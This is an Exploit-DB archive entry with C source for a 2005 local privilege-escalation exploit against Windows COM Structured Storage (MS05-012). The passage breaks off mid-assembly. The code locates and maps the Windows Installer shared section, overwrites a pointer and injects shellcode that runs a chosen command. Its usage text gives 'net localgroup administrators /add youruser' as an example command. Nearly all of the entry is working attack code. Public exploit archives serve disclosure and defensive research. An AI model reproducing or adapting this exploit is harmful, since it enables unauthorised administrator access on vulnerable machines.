Exploit-DB #1019
Description: Microsoft Windows - COM Structured Storage Local (MS05-012)
Type: local
Platform: windows
Date: 2005-05-31
Author: Cesar Cerrudo

Exploit:
// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions 
// from msiexec service process with WinObj or crash the msiexec service and try again 
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING {  
	USHORT Length;  
	USHORT MaximumLength; 
	PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;


DWORD WINAPI  LoadWinInstaller(LPVOID lpParam) 
{ 
	HMODULE hMsi;

	hMsi = LoadLibrary("msi.dll"); 
	MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and available on Windows Installer service process
	MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  
	return 0; 
} 



int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile; 
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId; 
  OBJECT_ATTRIBUTES obj;
  WCHAR  * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;


  if (!argv[1]||!argv[2]) {
	printf("\nUsage :\n	SSExploit \"Applicatoin to uninstall\" \"command\" \n");
	printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
	exit(0);
  }
    
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
	printf("\n\"command\" must be less than 65 chars.\n");
	exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); 

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");    

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n"); 

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
	do{ 
		bFound=NULL;
		while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
		  //check if it's a section name	
			if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             
				for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
					sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
				}
		      //check if it's the one we are searching for
				if (!strncmp(sObjName,"DfSharedHeap",12)){      
					bFound=1;
					break;
				}
			}
		}
		if (bFound)
			printf("Shared Section Found: %s\n",sObjName);
		else {
			printf("Shared Section Not Found");
			exit(0);
		}
    
		strcpy(sTmp,"Global\\");
		strcat(sTmp,sObjName);    //append global prefix to support Terminal Services	

		hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); 
	
      //the shared section name couldn't be the one we are searching for
		if (hMapFile == NULL) 
			printf("Could not open Shared Section\n\n"); 
		else
			printf("Shared Section opened\n\n"); 
	
	} while (hMapFile == NULL) ;

	lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
	if (lpMapAddress == NULL) { 
		printf("Could not map Shared Section"); 
		exit(0);
	}
	else 
		printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); 

	hKernel=LoadLibrary("Kernel32.dll");
	
	pWinExec=GetProcAddress(hKernel,"WinExec");
	pExitThread=GetProcAddress(hKernel,"ExitThread");

	_asm{
			
		mov eax,fs:[30h]   // get pointer to PEB 
		mov eax,[eax+0A8h] // get OS minor version
		cmp eax,0x0
		jz W2ksp4
		cmp eax,0x1        
		jz WinXPsp2
		jmp Win2K3   // address of section seems static on same OS version
					
	W2Ksp4:
		mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
		mov edx,0x01020004 // address of shellcode
		jmp Done
	
	WinXPsp2:
		mov eax,0x0086FFF0 // addres